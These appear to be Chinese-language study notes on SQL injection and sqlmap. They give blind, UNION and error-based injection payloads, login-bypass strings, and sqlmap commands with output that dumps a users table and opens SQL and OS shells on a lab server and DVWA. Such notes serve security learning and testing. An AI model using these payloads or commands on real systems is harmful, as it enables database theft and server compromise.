sql注入与sqlmap
SQL注入危害:
SQL注入分类:
1.基于注入点分类:get注入、post注入、cookie注入
2.基于变量数据类型: 字符型、数字型注入
3.基于获取数据类型方法: 基于回显(查询结果直接显现)、基于错误(由于配置的原因,包错日志原本因该打印到日志文件夹中,却直接输出到了网页页面上来了)、盲注(布尔盲注、时间盲注)
数字型:
布尔盲注: 在id=1后拼接 and 1=1或者 and 1=2; 判断是true或者false
时间盲注:在id=1后拼接 and sleep(5)之类的
字符型:
布尔盲注:?name=admin 参数后加 'and'1'='1 或者'and'1'='2等; 判断是true或者false
时间盲注:?name=admin 参数后加 'and/or sleep(3)--
字符型与数字型注入的主要区别是字符型注入需要通过单引号闭合来进行查询,有时还须通过注释屏蔽后续语句
三种经典万能密码:
1.用户名已知:a.用户名admin 密码 1’ or ‘1’ =‘1 ; b.用户名 admin’ or ‘1’ ='1 密码随意
2.可用注释符号: 用户名 'or 1=1# 密码随意
3.用户名未知:用户名 1’ or ‘1’ or '1 密码随意
联合查询union:
联合查询注入语句步骤:
1.判断原有查询语句的列数:因为union内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型,结果会去掉重复的记录
重复记录是指查询中各个字段完全重复的记录
a. ORDER BY 语句用于对结果集进行排序,在SELECT 语句末尾增加ORDER BY num表示基于第num列进行排序
SELECT Company, OrderNumber FROM Orders ORDER BY 1; //对第一字段排序 order by 2/3时出现报错则可判断列数
2.使原有查询语句的结果为空
如何使原查询结果集为空?
1、数字型参数可尝试将值设为0或负数或超大数。 //XXX? id=1 XXX? id=0 XXX? id=-1
2、字符型参数可尝试将值设为空或超长字符串。
3.判断数据输出位置
当我们知道原有查询语句的结果集列数时,就可以通过构造特殊的SQL联合查询语句得知查询结果集对应列在页面输出的位置:
1. XXX?id=1 select union 1,2,3,4 //回显出符合id=1的数据在结果集中对应的列数位置,例如回显2,4
2. 当我们已知可以回显2,4的数据,则可以将原sql语句的相应位置替换为我们想要获取的信息,即XXX?id=1 select union 1,(select user()),3,database() //回显2的相关用户和4的数据库
4.使用union语句拼接目标数据的查询语句
select id,firstname from persons union select username,password from admin;
显示指定数据用limit:
1.LIMIT 接受一个或两个数字参数。参数必须是一个整数常量。如果给定两个参数,第一个参数指定第一个返回记录行的偏移量,第二个参数指定返回记录行的最大数目。初始记录行的偏移量是 0(而不是 1);
2.Limit语法:
SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset
3.LIMIT例句:
SELECT * FROM table LIMIT 5 //检索前 5 个记录行
SELECT * FROM table LIMIT 5,10 // 检索记录行 6-15 //自我推断前+1,后为两数之和
SELECT * FROM table LIMIT 95,-1 // 检索记录行 96之后的所有数据. /-1表示无穷
mysqli_num_rows(*num*)函数表示限制了行数,sql注入时可以用admin' or '1' limit 0,1 # 破解
报错注入:
报错注入步骤:
1.构造目标数据查询语句
2.选择报错注入函数
常见的报错注入函数:
floor(); extractvalue(); updatexml(); geometrycollection(); multipoint(); polygon(); multipolygon(); linestring(); multilinestring(); exp()等
3.构造报错注入语句
4.拼接报错注入语句
原始的:XXX?id=1' 不符合数据库查询语句
XXX?newid=111 and extractvalue(1,concat(0x7e,(**select database()**), 0x7e))
SQLMAP简单操作:
1.扫数据库:
//扫get注入方式的网页
代码:python sqlmap.py -u http://192.168.11.142/list.php?id=22 --dbs
回显:
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.0.12
————————————————————————————————————————————————————————————————
available databases [6]:
[*] challenges
[*] cms
[*] information_schema
[*] mysql
[*] performance_schema
[*] secwrity
2.扫表格:
代码:python sqlmap.py -u "http://192.168.11.142/list.php?id=22" -D cms --tables
回显:
Database: cms
[8 tables]
+----------------+
| cms_article |
| cms_category |
| cms_file |
| cms_friendlink |
| cms_message |
| cms_notice |
| cms_page |
| cms_users |
+----------------+
3.扫特定表格的列:
代码:python sqlmap.py -u "http://192.168.11.142/show.php?id=33" -D cms -T cms_users --columns
回显:
Database: cms
Table: cms_users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(32) |
| userid | int(11) |
| username | varchar(20) |
+----------+-------------+
4.爆破相应列中的字段:
代码:python sqlmap.py -u "http://192.168.11.142/show.php?id=33" -D cms -T cms_users -C "username,password" --dump //--dump:打印
回显:
Database: cms
Table: cms_users
[1 entry]
+----------+-------------------------------------------+
| username | password |
+----------+-------------------------------------------+
| admin | e10adc3949ba59abbe56e057f20f883e (123456) |
+----------+-------------------------------------------+
python sqlmap.py -u "url" --os-shell 查看web服务器是用什么语言写的
1.查看当前注入点数据库权限是否为dba:
python sqlmap.py -u "url" --is-dba
2.寻找绝对路径:
1.python sqlmap.py -u "url" --sql-shell
//当前数据库权限为ROOT,所以使用--sql-shell指令
2.在回显出的:sql-shell> 输入select @@datadir;则会回显绝对路径
SQLmap的常见参数使用
--version #显示程序的版本号并退出
-h, --help #显示此帮助消息并退出
-u #设置目标URL
-p #指定测试参数
-D #指定要进行枚举的数据库名
-T #指定要进行枚举的数据库表
-C #指定要进行枚举的数据库列
-U #指定要进行枚举的数据库用户
--current-user #获取当前用户名称
--current-db #获取当前数据库名称
--cookie #设置cookie值
--dbs #列出数据库
--tables #列出数据库中的表
--columns #列出表中的列
--dump #列出表中的字段
--sql-shell #执行SQL命令
--os-cmd #执行系统命令
--os-shell #与系统交互shell
-r #加载外部请求包
--data=DATA #通过POST发送数据字符串
--level=LEVEL #执行测试的等级(1-5,默认为1)
--risk=RISK #执行测试的风险(0-3,默认为1)
-v VERBOSE #详细级别:0-6(默认为1)
--proxy=PROXY #使用HTTP 代理连接到目标URL
--user-agent #指定HTTP User-Agent
--tamper=TAMPER #使用给定的脚本(S)篡改注入数据
3 sql中的cookie注入
linux网站根目录:var/www/html/uploads document root
windows网站根目录:phpstudy中的WWW文件中
1.找cookie(拿到身份认证):f12 document.cookie; bp抓包;
cookie注入方法:
get:
1.输入注入语句后抓包获取cookie
2.在sqlmap中输入代码:
Python sqlmap.py -u “相应url”—cookie=”相应cookie"
3.获取到相关信息后再进一步获取数据库
Python sqlmap.py -u “相应url”—cookie=”相应cookie" --dbs
4.获取表格
Python sqlmap.py -u “相应url”—cookie=”相应cookie" -D 数据库名 --tables
5.获取表格中列
Python sqlmap.py -u “相应url”—cookie=”相应cookie" -D 数据库名 -T 表名 --columns
6.获取列的具体数据
Python sqlmap.py -u “相应url”—cookie=”相应cookie" -D 数据库名 -T 表名 -C "username,password" --dump
post:
1.唯一多的就是需要把抓到的报文粘贴到sqlmap文件夹(相对路径)下的文本文件中;
绝对路径:全部包含具细
相对路径:要执行的文件和执行程序在同一目录下
- sqlmap依次输入:
python sqlmap.py -r "1.txt" --dbs
python sqlmap.py -r "1.txt" -D dvwa –tables;
python sqlmap.py -r "1.txt" -D dvwa -T users –columns;
python sqlmap.py -r "1.txt" -D dvwa -T users -C "user_id,password" –dump;